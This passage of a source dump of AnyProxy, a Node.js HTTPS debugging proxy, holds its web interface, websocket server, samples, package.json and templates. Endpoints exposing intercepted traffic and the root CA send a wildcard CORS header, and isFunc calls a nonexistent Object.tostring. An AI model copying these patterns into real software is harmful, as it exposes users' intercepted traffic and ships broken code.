235 | fs.rmdirSync(dirPath);
236 | break;
237 | } catch (er) {
238 | if (process.platform === 'win32' && (er.code === 'ENOTEMPTY' || er.code === 'EBUSY' || er.code === 'EPERM')) {
239 | // Retry on windows, sometimes it takes a little time before all the files in the directory are gone
240 | if (Date.now() - start > 1000) throw er;
241 | } else if (er.code === 'ENOENT') {
242 | break;
243 | } else {
244 | throw er;
245 | }
246 | }
247 | }
248 | } catch (e) {
249 | throw new Error('could not remove directory (code ' + e.code + '): ' + dirPath);
250 | }
251 | }
252 | }
253 | }
254 |
255 | module.exports.deleteFolderContentsRecursive = deleteFolderContentsRecursive;
256 |
257 | module.exports.getFreePort = function () {
258 | return new Promise((resolve, reject) => {
259 | const server = require('net').createServer();
260 | server.unref();
261 | server.on('error', reject);
262 | server.listen(0, () => {
263 | const port = server.address().port;
264 | server.close(() => {
265 | resolve(port);
266 | });
267 | });
268 | });
269 | }
270 |
271 | module.exports.collectErrorLog = function (error) {
272 | if (error && error.code && error.toString()) {
273 | return error.toString();
274 | } else {
275 | let result = [error, error.stack].join('\n');
276 | try {
277 | const errorString = error.toString();
278 | if (errorString.indexOf('You may only yield a function') >= 0) {
279 | result = 'Function is not yieldable. Did you forget to provide a generator or promise in rule file ? \nFAQ http://anyproxy.io/4.x/#faq';
280 | }
281 | } catch (e) {}
282 | return result
283 | }
284 | }
285 |
286 | module.exports.isFunc = function (source) {
287 | return source && Object.tostring.call(source) === '[object Function]';
288 | };
289 |
290 | /**
291 | * @param {object} content
292 | * @returns the size of the content
293 | */
294 | module.exports.getByteSize = function (content) {
295 | return Buffer.byteLength(content);
296 | };
297 |
298 | /*
299 | * identify whether the
300 | */
301 | module.exports.isIpDomain = function (domain) {
302 | if (!domain) {
303 | return false;
304 | }
305 | const ipReg = /^\d+?\.\d+?\.\d+?\.\d+?$/;
306 |
307 | return ipReg.test(domain);
308 | };
309 |
310 | module.exports.execScriptSync = function (cmd) {
311 | let stdout,
312 | status = 0;
313 | try {
314 | stdout = child_process.execSync(cmd);
315 | } catch (err) {
316 | stdout = err.stdout;
317 | status = err.status;
318 | }
319 |
320 | return {
321 | stdout: stdout.toString(),
322 | status
323 | };
324 | };
325 |
326 | module.exports.guideToHomePage = function () {
327 | logUtil.info('Refer to http://anyproxy.io for more detail');
328 | };
329 |
--------------------------------------------------------------------------------
/anyproxy/lib/webInterface.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | const express = require('express'),
4 | url = require('url'),
5 | bodyParser = require('body-parser'),
6 | fs = require('fs'),
7 | path = require('path'),
8 | events = require('events'),
9 | qrCode = require('qrcode-npm'),
10 | util = require('./util'),
11 | certMgr = require('./certMgr'),
12 | wsServer = require('./wsServer'),
13 | juicer = require('juicer'),
14 | ip = require('ip'),
15 | compress = require('compression'),
16 | pug = require('pug');
17 |
18 | const DEFAULT_WEB_PORT = 8002; // port for web interface
19 |
20 | const packageJson = require('../package.json');
21 |
22 | const MAX_CONTENT_SIZE = 1024 * 2000; // 2000kb
23 |
24 | const certFileTypes = ['crt', 'cer', 'pem', 'der'];
25 | /**
26 | *
27 | *
28 | * @class webInterface
29 | * @extends {events.EventEmitter}
30 | */
31 | class webInterface extends events.EventEmitter {
32 | /**
33 | * Creates an instance of webInterface.
34 | *
35 | * @param {object} config
36 | * @param {number} config.webPort
37 | * @param {object} recorder
38 | *
39 | * @memberOf webInterface
40 | */
41 | constructor(config, recorder) {
42 | if (!recorder) {
43 | throw new Error('recorder is required for web interface');
44 | }
45 | super();
46 | const self = this;
47 | self.webPort = config.webPort || DEFAULT_WEB_PORT;
48 | self.recorder = recorder;
49 | self.config = config || {};
50 |
51 | self.app = this.getServer();
52 | self.server = null;
53 | self.wsServer = null;
54 | }
55 |
56 | /**
57 | * get the express server
58 | */
59 | getServer() {
60 | const self = this;
61 | const recorder = self.recorder;
62 | const ipAddress = ip.address(),
63 | // userRule = proxyInstance.proxyRule,
64 | webBasePath = 'web';
65 | let ruleSummary = '';
66 | let customMenu = [];
67 |
68 | try {
69 | ruleSummary = ''; //userRule.summary();
70 | customMenu = ''; // userRule._getCustomMenu();
71 | } catch (e) { }
72 |
73 | const staticDir = path.join(__dirname, '../', webBasePath);
74 | const app = express();
75 |
76 | app.use(compress()); //invoke gzip
77 | app.use((req, res, next) => {
78 | res.setHeader('note', 'THIS IS A REQUEST FROM ANYPROXY WEB INTERFACE');
79 | return next();
80 | });
81 | app.use(bodyParser.json());
82 |
83 | app.get('/latestLog', (req, res) => {
84 | res.setHeader('Access-Control-Allow-Origin', '*');
85 | recorder.getRecords(null, 10000, (err, docs) => {
86 | if (err) {
87 | res.end(err.toString());
88 | } else {
89 | res.json(docs);
90 | }
91 | });
92 | });
93 |
94 | app.get('/downloadBody', (req, res) => {
95 | const query = req.query;
96 | recorder.getDecodedBody(query.id, (err, result) => {
97 | if (err || !result || !result.content) {
98 | res.json({});
99 | } else if (result.mime) {
100 | if (query.raw === 'true') {
101 | //TODO : cache query result
102 | res.type(result.mime).end(result.content);
103 | } else if (query.download === 'true') {
104 | res.setHeader('Content-disposition', `attachment; filename=${result.fileName}`);
105 | res.setHeader('Content-type', result.mime);
106 | res.end(result.content);
107 | }
108 | } else {
109 | res.json({
110 |
111 | });
112 | }
113 | });
114 | });
115 |
116 | app.get('/fetchBody', (req, res) => {
117 | res.setHeader('Access-Control-Allow-Origin', '*');
118 | const query = req.query;
119 | if (query && query.id) {
120 | recorder.getDecodedBody(query.id, (err, result) => {
121 | // 返回下载信息
122 | const _resDownload = function (isDownload) {
123 | isDownload = typeof isDownload === 'boolean' ? isDownload : true;
124 | res.json({
125 | id: query.id,
126 | type: result.type,
127 | method: result.meethod,
128 | fileName: result.fileName,
129 | ref: `/downloadBody?id=${query.id}&download=${isDownload}&raw=${!isDownload}`
130 | });
131 | };
132 |
133 | // 返回内容
134 | const _resContent = () => {
135 | if (util.getByteSize(result.content || '') > MAX_CONTENT_SIZE) {
136 | _resDownload(true);
137 | return;
138 | }
139 |
140 | res.json({
141 | id: query.id,
142 | type: result.type,
143 | method: result.method,
144 | resBody: result.content
145 | });
146 | };
147 |
148 | if (err || !result) {
149 | res.json({});
150 | } else if (result.statusCode === 200 && result.mime) {
151 | // deal with 'application/x-javascript' and 'application/javascript'
152 | if (/json|text|javascript/.test(result.mime)) {
153 | _resContent();
154 | } else if (result.type === 'image') {
155 | _resDownload(false);
156 | } else {
157 | _resDownload(true);
158 | }
159 | } else {
160 | _resContent();
161 | }
162 | });
163 | } else {
164 | res.end('');
165 | }
166 | });
167 |
168 | app.get('/fetchReqBody', (req, res) => {
169 | const query = req.query;
170 | if (query && query.id) {
171 | recorder.getSingleRecord(query.id, (err, doc) => {
172 | if (err || !doc[0]) {
173 | console.error(err);
174 | res.end('');
175 | return;
176 | }
177 |
178 | res.setHeader('Content-disposition', `attachment; filename=request_${query.id}_body.txt`);
179 | res.setHeader('Content-type', 'text/plain');
180 | res.end(doc[0].reqBody);
181 | });
182 | } else {
183 | res.end('');
184 | }
185 | });
186 |
187 | app.get('/fetchWsMessages', (req, res) => {
188 | const query = req.query;
189 | if (query && query.id) {
190 | recorder.getDecodedWsMessage(query.id, (err, messages) => {
191 | if (err) {
192 | console.error(err);
193 | res.json([]);
194 | return;
195 | }
196 | res.json(messages);
197 | });
198 | } else {
199 | res.json([]);
200 | }
201 | });
202 |
203 | app.get('/downloadCrt', (req, res) => {
204 | const pageFn = pug.compileFile(path.join(__dirname, '../resource/cert_download.pug'));
205 | res.end(pageFn({ ua: req.get('user-agent') }));
206 | });
207 |
208 | app.get('/fetchCrtFile', (req, res) => {
209 | res.setHeader('Access-Control-Allow-Origin', '*');
210 | const _crtFilePath = certMgr.getRootCAFilePath();
211 | if (_crtFilePath) {
212 | const fileType = certFileTypes.indexOf(req.query.type) !== -1 ? req.query.type : 'crt';
213 | res.setHeader('Content-Type', 'application/x-x509-ca-cert');
214 | res.setHeader('Content-Disposition', `attachment; filename="rootCA.${fileType}"`);
215 | res.end(fs.readFileSync(_crtFilePath, { encoding: null }));
216 | } else {
217 | res.setHeader('Content-Type', 'text/html');
218 | res.end('can not file rootCA ,plase use anyproxy --root to generate one');
219 | }
220 | });
221 |
222 | app.get('/api/getQrCode', (req, res) => {
223 | res.setHeader('Access-Control-Allow-Origin', '*');
224 |
225 | const qr = qrCode.qrcode(4, 'M');
226 | const targetUrl = req.protocol + '://' + req.get('host') + '/downloadCrt';
227 | const isRootCAFileExists = certMgr.isRootCAFileExists();
228 |
229 | qr.addData(targetUrl);
230 | qr.make();
231 |
232 | res.json({
233 | status: 'success',
234 | url: targetUrl,
235 | isRootCAFileExists,
236 | qrImgDom: qr.createImgTag(4)
237 | });
238 | });
239 |
240 | // response init data
241 | app.get('/api/getInitData', (req, res) => {
242 | res.setHeader('Access-Control-Allow-Origin', '*');
243 | const rootCAExists = certMgr.isRootCAFileExists();
244 | const rootDirPath = certMgr.getRootDirPath();
245 | const interceptFlag = false; //proxyInstance.getInterceptFlag(); TODO
246 | const globalProxyFlag = false; // TODO: proxyInstance.getGlobalProxyFlag();
247 | res.json({
248 | status: 'success',
249 | rootCAExists,
250 | rootCADirPath: rootDirPath,
251 | currentInterceptFlag: interceptFlag,
252 | currentGlobalProxyFlag: globalProxyFlag,
253 | ruleSummary: ruleSummary || '',
254 | ipAddress: util.getAllIpAddress(),
255 | port: '', //proxyInstance.proxyPort, // TODO
256 | appVersion: packageJson.version
257 | });
258 | });
259 |
260 | app.post('/api/generateRootCA', (req, res) => {
261 | res.setHeader('Access-Control-Allow-Origin', '*');
262 | const rootExists = certMgr.isRootCAFileExists();
263 | if (!rootExists) {
264 | certMgr.generateRootCA(() => {
265 | res.json({
266 | status: 'success',
267 | code: 'done'
268 | });
269 | });
270 | } else {
271 | res.json({
272 | status: 'success',
273 | code: 'root_ca_exists'
274 | });
275 | }
276 | });
277 |
278 | app.use((req, res, next) => {
279 | const indexTpl = fs.readFileSync(path.join(staticDir, '/index.html'), { encoding: 'utf8' }),
280 | opt = {
281 | rule: ruleSummary || '',
282 | customMenu: customMenu || [],
283 | ipAddress: ipAddress || '127.0.0.1'
284 | };
285 |
286 | if (url.parse(req.url).pathname === '/') {
287 | res.setHeader('Content-Type', 'text/html');
288 | res.end(juicer(indexTpl, opt));
289 | } else {
290 | next();
291 | }
292 | });
293 | app.use(express.static(staticDir));
294 | return app;
295 | }
296 |
297 | start() {
298 | const self = this;
299 | return new Promise((resolve, reject) => {
300 | self.server = self.app.listen(self.webPort);
301 | self.wsServer = new wsServer({
302 | server: self.server
303 | }, self.recorder);
304 | self.wsServer.start();
305 | resolve();
306 | })
307 | }
308 |
309 | close() {
310 | const self = this;
311 | return new Promise((resolve, reject) => {
312 | self.server && self.server.close();
313 | self.wsServer && self.wsServer.closeAll();
314 | self.server = null;
315 | self.wsServer = null;
316 | self.proxyInstance = null;
317 | resolve();
318 | });
319 | }
320 | }
321 |
322 | module.exports = webInterface;
323 |
--------------------------------------------------------------------------------
/anyproxy/lib/wsServer.js:
--------------------------------------------------------------------------------
1 | 'use strict';
2 |
3 | //websocket server manager
4 |
5 | const WebSocketServer = require('ws').Server;
6 | const logUtil = require('./log');
7 |
8 | function resToMsg(msg, recorder, cb) {
9 | let result = {},
10 | jsonData;
11 |
12 | try {
13 | jsonData = JSON.parse(msg);
14 | } catch (e) {
15 | result = {
16 | type: 'error',
17 | error: 'failed to parse your request : ' + e.toString()
18 | };
19 | cb && cb(result);
20 | return;
21 | }
22 |
23 | if (jsonData.reqRef) {
24 | result.reqRef = jsonData.reqRef;
25 | }
26 |
27 | if (jsonData.type === 'reqBody' && jsonData.id) {
28 | result.type = 'body';
29 | recorder.getBody(jsonData.id, (err, data) => {
30 | if (err) {
31 | result.content = {
32 | id: null,
33 | body: null,
34 | error: err.toString()
35 | };
36 | } else {
37 | result.content = {
38 | id: jsonData.id,
39 | body: data.toString()
40 | };
41 | }
42 | cb && cb(result);
43 | });
44 | } else { // more req handler here
45 | return null;
46 | }
47 | }
48 |
49 | //config.server
50 |
51 | class wsServer {
52 | constructor(config, recorder) {
53 | if (!recorder) {
54 | throw new Error('proxy recorder is required');
55 | } else if (!config || !config.server) {
56 | throw new Error('config.server is required');
57 | }
58 |
59 | const self = this;
60 | self.config = config;
61 | self.recorder = recorder;
62 | }
63 |
64 | start() {
65 | const self = this;
66 | const config = self.config;
67 | const recorder = self.recorder;
68 | return new Promise((resolve, reject) => {
69 | //web socket interface
70 | const wss = new WebSocketServer({
71 | server: config.server,
72 | clientTracking: true,
73 | });
74 | resolve();
75 |
76 | // the queue of the messages to be delivered
77 | let messageQueue = [];
78 | // the flat to indicate wheter to broadcast the record
79 | let broadcastFlag = true;
80 |
81 | setInterval(() => {
82 | broadcastFlag = true;
83 | sendMultipleMessage();
84 | }, 50);
85 |
86 | function sendMultipleMessage(data) {
87 | // if the flag goes to be true, and there are records to send
88 | if (broadcastFlag && messageQueue.length > 0) {
89 | wss && wss.broadcast({
90 | type: 'updateMultiple',
91 | content: messageQueue
92 | });
93 | messageQueue = [];
94 | broadcastFlag = false;
95 | } else {
96 | data && messageQueue.push(data);
97 | }
98 | }
99 |
100 | wss.broadcast = function (data) {
101 | if (typeof data === 'object') {
102 | try {
103 | data = JSON.stringify(data);
104 | } catch (e) {
105 | console.error('==> error when do broadcast ', e, data);
106 | }
107 | }
108 | for (const client of wss.clients) {
109 | try {
110 | client.send(data);
111 | } catch (e) {
112 | logUtil.printLog('websocket failed to send data, ' + e, logUtil.T_ERR);
113 | }
114 | }
115 | };
116 |
117 | wss.on('connection', (ws) => {
118 | ws.on('message', (msg) => {
119 | resToMsg(msg, recorder, (res) => {
120 | res && ws.send(JSON.stringify(res));
121 | });
122 | });
123 |
124 | ws.on('error', (e) => {
125 | console.error('error in ws:', e);
126 | });
127 | });
128 |
129 | wss.on('error', (e) => {
130 | logUtil.printLog('websocket error, ' + e, logUtil.T_ERR);
131 | });
132 |
133 | wss.on('close', () => { });
134 |
135 | recorder.on('update', (data) => {
136 | try {
137 | sendMultipleMessage(data);
138 | } catch (e) {
139 | console.log('ws error');
140 | console.log(e);
141 | }
142 | });
143 |
144 | recorder.on('updateLatestWsMsg', (data) => {
145 | try {
146 | // console.info('==> update latestMsg ', data);
147 | wss && wss.broadcast({
148 | type: 'updateLatestWsMsg',
149 | content: data
150 | });
151 | } catch (e) {
152 | logUtil.error(e.message);
153 | logUtil.error(e.stack);
154 | console.error(e);
155 | }
156 | });
157 |
158 | self.wss = wss;
159 | });
160 | }
161 |
162 | closeAll() {
163 | const self = this;
164 | return new Promise((resolve, reject) => {
165 | self.wss.close((e) => {
166 | if (e) {
167 | reject(e);
168 | } else {
169 | resolve();
170 | }
171 | });
172 | });
173 | }
174 | }
175 |
176 | module.exports = wsServer;
177 |
--------------------------------------------------------------------------------
/anyproxy/lib/wsServerMgr.js:
--------------------------------------------------------------------------------
1 | /**
2 | * manage the websocket server
3 | *
4 | */
5 | const ws = require('ws');
6 | const logUtil = require('./log.js');
7 |
8 | const WsServer = ws.Server;
9 |
10 | /**
11 | * get a new websocket server based on the server
12 | * @param @required {object} config
13 | {string} config.server
14 | {handler} config.handler
15 | */
16 | function getWsServer(config) {
17 | const wss = new WsServer({
18 | server: config.server
19 | });
20 |
21 | wss.on('connection', config.connHandler);
22 |
23 | wss.on('headers', (headers) => {
24 | headers.push('x-anyproxy-websocket:true');
25 | });
26 |
27 | wss.on('error', e => {
28 | logUtil.error(`error in websocket proxy: ${e.message},\r\n ${e.stack}`);
29 | console.error('error happened in proxy websocket:', e)
30 | });
31 |
32 | wss.on('close', e => {
33 | console.error('==> closing the ws server');
34 | });
35 |
36 | return wss;
37 | }
38 |
39 | module.exports.getWsServer = getWsServer;
40 |
--------------------------------------------------------------------------------
/anyproxy/module_sample/core_reload.js:
--------------------------------------------------------------------------------
1 | const AnyProxy = require('../proxy');
2 | const exec = require('child_process').exec;
3 |
4 | const AnyProxyRecorder = require('../lib/recorder');
5 | const WebInterfaceLite = require('../lib/webInterface');
6 |
7 | /*
8 | -------------------------------
9 | | ProxyServerA | ProxyServerB |
10 | ------------------------------- ----------------------------
11 | | Common Recorder | -------(by events)------| WebInterfaceLite |
12 | ------------------------------- ----------------------------
13 | */
14 |
15 |
16 | const commonRecorder = new AnyProxyRecorder();
17 |
18 | // web interface依赖recorder
19 | new WebInterfaceLite({ // common web interface
20 | webPort: 8002
21 | }, commonRecorder);
22 |
23 | // proxy core只依赖recorder,与webServer无关
24 | const optionsA = {
25 | port: 8001,
26 | recorder: commonRecorder, // use common recorder
27 | };
28 |
29 | const optionsB = {
30 | port: 8005,
31 | recorder: commonRecorder, // use common recorder
32 | };
33 |
34 | const proxyServerA = new AnyProxy.ProxyCore(optionsA);
35 | const proxyServerB = new AnyProxy.ProxyCore(optionsB);
36 |
37 | proxyServerA.start();
38 | proxyServerB.start();
39 |
40 | // after both ready
41 | setTimeout(() => {
42 | exec('curl http://www.qq.com --proxy http://127.0.0.1:8001');
43 | exec('curl http://www.sina.com.cn --proxy http://127.0.0.1:8005');
44 | }, 1000);
45 |
46 | // visit http://127.0.0.1 , there should be two records
47 |
48 |
--------------------------------------------------------------------------------
/anyproxy/module_sample/https_config.js:
--------------------------------------------------------------------------------
1 | const AnyProxy = require('../proxy');
2 | const exec = require('child_process').exec;
3 |
4 | if (!AnyProxy.utils.certMgr.ifRootCAFileExists()) {
5 | AnyProxy.utils.certMgr.generateRootCA((error, keyPath) => {
6 | // let users to trust this CA before using proxy
7 | if (!error) {
8 | const certDir = require('path').dirname(keyPath);
9 | console.log('The cert is generated at', certDir);
10 | const isWin = /^win/.test(process.platform);
11 | if (isWin) {
12 | exec('start .', { cwd: certDir });
13 | } else {
14 | exec('open .', { cwd: certDir });
15 | }
16 | } else {
17 | console.error('error when generating rootCA', error);
18 | }
19 | });
20 | } else {
21 | // clear all the certificates
22 | // AnyProxy.utils.certMgr.clearCerts()
23 | }
24 |
--------------------------------------------------------------------------------
/anyproxy/module_sample/normal_use.js:
--------------------------------------------------------------------------------
1 | const AnyProxy = require('../proxy');
2 |
3 | const options = {
4 | type: 'http',
5 | port: 8001,
6 | rule: null,
7 | webInterface: {
8 | enable: true,
9 | webPort: 8002
10 | },
11 | throttle: 10000,
12 | forceProxyHttps: true,
13 | silent: false
14 | };
15 | const proxyServer = new AnyProxy.ProxyServer(options);
16 |
17 | proxyServer.on('ready', () => {
18 | console.log('ready');
19 | // set as system proxy
20 | proxyServer.close().then(() => {
21 | const proxyServerB = new AnyProxy.ProxyServer(options);
22 | proxyServerB.start();
23 | });
24 |
25 | console.log('closed');
26 | // setTimeout(() => {
27 |
28 | // }, 2000);
29 |
30 |
31 | // AnyProxy.utils.systemProxyMgr.enableGlobalProxy('127.0.0.1', '8001');
32 | });
33 |
34 | proxyServer.on('error', (e) => {
35 | console.log('proxy error');
36 | console.log(e);
37 | });
38 |
39 | process.on('SIGINT', () => {
40 | // AnyProxy.utils.systemProxyMgr.disableGlobalProxy();
41 | proxyServer.close();
42 | process.exit();
43 | });
44 |
45 |
46 | proxyServer.start();
47 |
48 |
49 | // const WebSocketServer = require('ws').Server;
50 | // const wsServer = new WebSocketServer({ port: 8003 },function(){
51 | // console.log('ready');
52 |
53 | // try {
54 | // const serverB = new WebSocketServer({ port: 8003 }, function (e, result) {
55 | // console.log('---in B---');
56 | // console.log(e);
57 | // console.log(result);
58 | // });
59 | // } catch(e) {
60 | // console.log(e);
61 | // console.log('e');
62 | // }
63 |
64 | // // wsServer.close(function (e, result) {
65 | // // console.log('in close');
66 | // // console.log(e);
67 | // // console.log(result);
68 | // // });
69 | // });
70 |
--------------------------------------------------------------------------------
/anyproxy/module_sample/simple_use.js:
--------------------------------------------------------------------------------
1 | const AnyProxy = require('../proxy');
2 |
3 | const options = {
4 | port: 8001,
5 | webInterface: {
6 | enable: true
7 | }
8 | };
9 | const proxyServer = new AnyProxy.ProxyServer(options);
10 | proxyServer.start();
11 |
--------------------------------------------------------------------------------
/anyproxy/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "_from": "anyproxy",
3 | "_id": "anyproxy@4.1.2",
4 | "_inBundle": false,
5 | "_integrity": "sha512-vve6s6aP93+n8QtjAVOtMpr92etTUzVtMuNI8VIxPoNhsu+DQBZ3HYOmuSYActQtJJnKWzArs+ZhLL1SSi/bpw==",
6 | "_location": "/anyproxy",
7 | "_phantomChildren": {},
8 | "_requested": {
9 | "type": "tag",
10 | "registry": true,
11 | "raw": "anyproxy",
12 | "name": "anyproxy",
13 | "escapedName": "anyproxy",
14 | "rawSpec": "",
15 | "saveSpec": null,
16 | "fetchSpec": "latest"
17 | },
18 | "_requiredBy": [
19 | "#USER",
20 | "/"
21 | ],
22 | "_resolved": "https://registry.npmjs.org/anyproxy/-/anyproxy-4.1.2.tgz",
23 | "_shasum": "d01611b88453f9e6c349e9b99c36099b981c3e70",
24 | "_spec": "anyproxy",
25 | "_where": "/Users/mandatory/Programming/croxy",
26 | "author": {
27 | "name": "ottomao@gmail.com"
28 | },
29 | "bin": {
30 | "anyproxy-ca": "bin/anyproxy-ca",
31 | "anyproxy": "bin/anyproxy"
32 | },
33 | "bugs": {
34 | "url": "https://github.com/alibaba/anyproxy/issues"
35 | },
36 | "bundleDependencies": false,
37 | "dependencies": {
38 | "async": "~0.9.0",
39 | "async-task-mgr": ">=1.1.0",
40 | "body-parser": "^1.13.1",
41 | "brotli": "^1.3.2",
42 | "classnames": "^2.2.5",
43 | "clipboard-js": "^0.3.3",
44 | "co": "^4.6.0",
45 | "colorful": "^2.1.0",
46 | "commander": "~2.11.0",
47 | "component-emitter": "^1.2.1",
48 | "compression": "^1.4.4",
49 | "es6-promise": "^3.3.1",
50 | "express": "^4.8.5",
51 | "fast-json-stringify": "^0.17.0",
52 | "iconv-lite": "^0.4.6",
53 | "inquirer": "^5.2.0",
54 | "ip": "^0.3.2",
55 | "juicer": "^0.6.6-stable",
56 | "mime-types": "2.1.11",
57 | "moment": "^2.15.1",
58 | "nedb": "^1.8.0",
59 | "node-easy-cert": "^1.0.0",
60 | "pug": "^2.0.0-beta6",
61 | "qrcode-npm": "0.0.3",
62 | "request": "^2.74.0",
63 | "stream-throttle": "^0.1.3",
64 | "svg-inline-react": "^1.0.2",
65 | "thunkify": "^2.1.2",
66 | "whatwg-fetch": "^1.0.0",
67 | "ws": "^5.1.0"
68 | },
69 | "deprecated": false,
70 | "description": "A fully configurable HTTP/HTTPS proxy in Node.js",
71 | "devDependencies": {
72 | "antd": "^2.5.0",
73 | "autoprefixer": "^6.4.1",
74 | "babel-core": "^6.14.0",
75 | "babel-eslint": "^7.0.0",
76 | "babel-loader": "^6.2.5",
77 | "babel-plugin-import": "^1.0.0",
78 | "babel-plugin-transform-runtime": "^6.15.0",
79 | "babel-polyfill": "^6.13.0",
80 | "babel-preset-es2015": "^6.13.2",
81 | "babel-preset-react": "^6.11.1",
82 | "babel-preset-stage-0": "^6.5.0",
83 | "babel-register": "^6.11.6",
84 | "babel-runtime": "^6.11.6",
85 | "css-loader": "^0.23.1",
86 | "eslint": ">=4.18.2",
87 | "eslint-config-airbnb": "^15.1.0",
88 | "eslint-plugin-import": "^2.7.0",
89 | "eslint-plugin-jsx-a11y": "^5.1.1",
90 | "eslint-plugin-react": "^7.4.0",
91 | "extract-text-webpack-plugin": "^3.0.2",
92 | "file-loader": "^0.9.0",
93 | "jasmine": "^2.5.3",
94 | "koa": "^1.2.1",
95 | "koa-body": "^1.4.0",
96 | "koa-router": "^5.4.0",
97 | "koa-send": "^3.2.0",
98 | "less": "^2.7.1",
99 | "less-loader": "^2.2.3",
100 | "node-simhash": "^0.1.0",
101 | "nodeunit": "^0.9.1",
102 | "phantom": "^4.0.0",
103 | "postcss-loader": "^0.13.0",
104 | "pre-commit": "^1.2.2",
105 | "react": "^15.3.1",
106 | "react-addons-perf": "^15.4.0",
107 | "react-dom": "^15.3.1",
108 | "react-json-tree": "^0.10.0",
109 | "react-redux": "^4.4.5",
110 | "react-tap-event-plugin": "^1.0.0",
111 | "redux": "^3.6.0",
112 | "redux-saga": "^0.11.1",
113 | "stream-equal": "0.1.8",
114 | "style-loader": "^0.13.1",
115 | "svg-inline-loader": "^0.7.1",
116 | "tunnel": "^0.0.6",
117 | "url-loader": "^0.5.7",
118 | "webpack": "^3.10.0",
119 | "worker-loader": "^0.7.1"
120 | },
121 | "engines": {
122 | "node": ">=6.0.0"
123 | },
124 | "homepage": "https://github.com/alibaba/anyproxy#readme",
125 | "license": "Apache-2.0",
126 | "main": "proxy.js",
127 | "name": "anyproxy",
128 | "pre-commit": [
129 | "lint"
130 | ],
131 | "repository": {
132 | "type": "git",
133 | "url": "git+https://github.com/alibaba/anyproxy.git"
134 | },
135 | "scripts": {
136 | "buildweb": "NODE_ENV=production webpack --config web/webpack.config.js --colors",
137 | "doc:build": "./build_scripts/build-doc-site.sh",
138 | "doc:serve": "node build_scripts/prebuild-doc.js && gitbook serve ./docs-src ./docs --log debug",
139 | "lint": "eslint .",
140 | "prepublish": "npm run buildweb",
141 | "test": "node test.js",
142 | "testOutWeb": "jasmine test/spec_outweb/test_realweb_spec.js",
143 | "testserver": "node test/server/startServer.js",
144 | "webserver": "NODE_ENV=test webpack --config web/webpack.config.js --colors --watch"
145 | },
146 | "version": "4.1.2"
147 | }
148 |
--------------------------------------------------------------------------------
/anyproxy/resource/502.pug:
--------------------------------------------------------------------------------
1 | doctype html
2 | html(lang="en")
3 | head
4 | title AnyProxy Inner Error
5 | style.
6 | body {
7 | color: #666;
8 | line-height: 1.5;
9 | font-size: 13px;
10 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
11 | }
12 |
13 | body * {
14 | box-sizing: border-box;
15 | }
16 |
17 | .stackError {
18 | border-radius: 5px;
19 | padding: 20px;
20 | border: 1px solid #fdc;
21 | background-color: #ffeee6;
22 | color: #666;
23 | }
24 | .stackError li {
25 | list-style-type: none;
26 | }
27 | .infoItem {
28 | position: relative;
29 | overflow: hidden;
30 | border: 1px solid #d5f1fd;
31 | background-color: #eaf8fe;
32 | border-radius: 4px;
33 | margin-bottom: 5px;
34 | padding-left: 70px;
35 | }
36 | .infoItem .label {
37 | position: absolute;
38 | top: 0;
39 | left: 0;
40 | bottom: 0;
41 | display: flex;
42 | justify-content: flex-start;
43 | align-items: center;
44 | width: 70px;
45 | font-weight: 300;
46 | background-color: #76abc1;
47 | color: #fff;
48 | padding: 5px;
49 | }
50 | .infoItem .value {
51 | overflow:hidden;
52 | padding: 5px;
53 | }
54 |
55 | .tipItem .label {
56 | background-color: #ecf6fd;
57 | }
58 | .tip {
59 | color: #808080;
60 | }
61 | body
62 | h1 # AnyProxy Inner Error
63 | h3 Oops! Error happend when AnyProxy handle the request.
64 | p.tip This is an error occurred inside AnyProxy, not from your target website.
65 | .infoItem
66 | .label
67 | | Error:
68 | .value #{error}
69 | .infoItem
70 | .label
71 | | URL:
72 | .value #{url}
73 | if tipMessage
74 | .infoItem
75 | .label
76 | | TIP:
77 | .value!= tipMessage
78 | p
79 | ul.stackError
80 | each item in errorStack
81 | li= item
--------------------------------------------------------------------------------
/anyproxy/resource/cert_download.pug:
--------------------------------------------------------------------------------
1 | doctype html
2 | html(lang="en")
3 | head
4 | title Download rootCA
5 | meta(name='viewport', content='initial-scale=1, maximum-scale=0.5, minimum-scale=1, user-scalable=no')
6 | style.
7 | body {
8 | color: #666;
9 | line-height: 1.5;
10 | font-size: 16px;
11 | font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Helvetica,PingFang SC,Hiragino Sans GB,Microsoft YaHei,SimSun,sans-serif;
12 | }
13 |
14 | body * {
15 | box-sizing: border-box;
16 | }
17 |
18 | .logo {
19 | font-size: 36px;
20 | margin-bottom: 40px;
21 | text-align: center;
22 | }
23 |
24 | .any {
25 | font-weight: 500;
26 | }
27 |
28 | .proxy {
29 | font-weight: 100;
30 | }
31 |
32 | .title {
33 | font-weight: bold;
34 | margin: 20px 0 6px;
35 | }
36 |
37 | .button {
38 | text-align: center;
39 | padding: 4px 15px 5px 15px;
40 | font-size: 14px;
41 | font-weight: 500;
42 | border-radius: 4px;
43 | height: 32px;
44 | margin-bottom: 10px;
45 | display: block;
46 | text-decoration: none;
47 | border-color: #108ee9;
48 | color: rgba(0, 0, 0, .65);
49 | background-color: #fff;
50 | border-style: solid;
51 | border-width: 1px;
52 | border-style: solid;
53 | border-color: #d9d9d9;
54 | }
55 |
56 | .primary {
57 | color: #fff;
58 | background-color: #108ee9;
59 | border-color: #108ee9;
60 | }
61 |
62 | .more {
63 | text-align: center;
64 | font-size: 14px;
65 | }
66 |
67 | .content {
68 | word-break: break-all;
69 | font-size: 14px;
70 | line-height: 1.2;
71 | margin-bottom: 10px;
72 | }
73 | body
74 | .logo
75 | span.any Any
76 | span.proxy Proxy
77 | .title Download:
78 | .content Select a CA file to download, the .crt file is commonly used.
79 | a(href="/fetchCrtFile?type=crt").button.primary rootCA.crt
80 | a(href="/fetchCrtFile?type=cer").button rootCA.cer
81 | .more More
82 | .buttons(style='display: none')
83 | a(href="/fetchCrtFile?type=pem").button rootCA.pem
84 | a(href="/fetchCrtFile?type=der").button rootCA.der
85 | .title User-Agent:
86 | .content #{ua}
87 | script(type='text/javascript').
88 | window.document.querySelector('.more').addEventListener('click', function (e) {
89 | e.target.style.display = 'none';
90 | window.document.querySelector('.buttons').style.display = 'block';
91 | });
--------------------------------------------------------------------------------
/anyproxy/resource/cert_error.pug:
--------------------------------------------------------------------------------
1 | doctype html
2 | html(lang="en")
3 | head
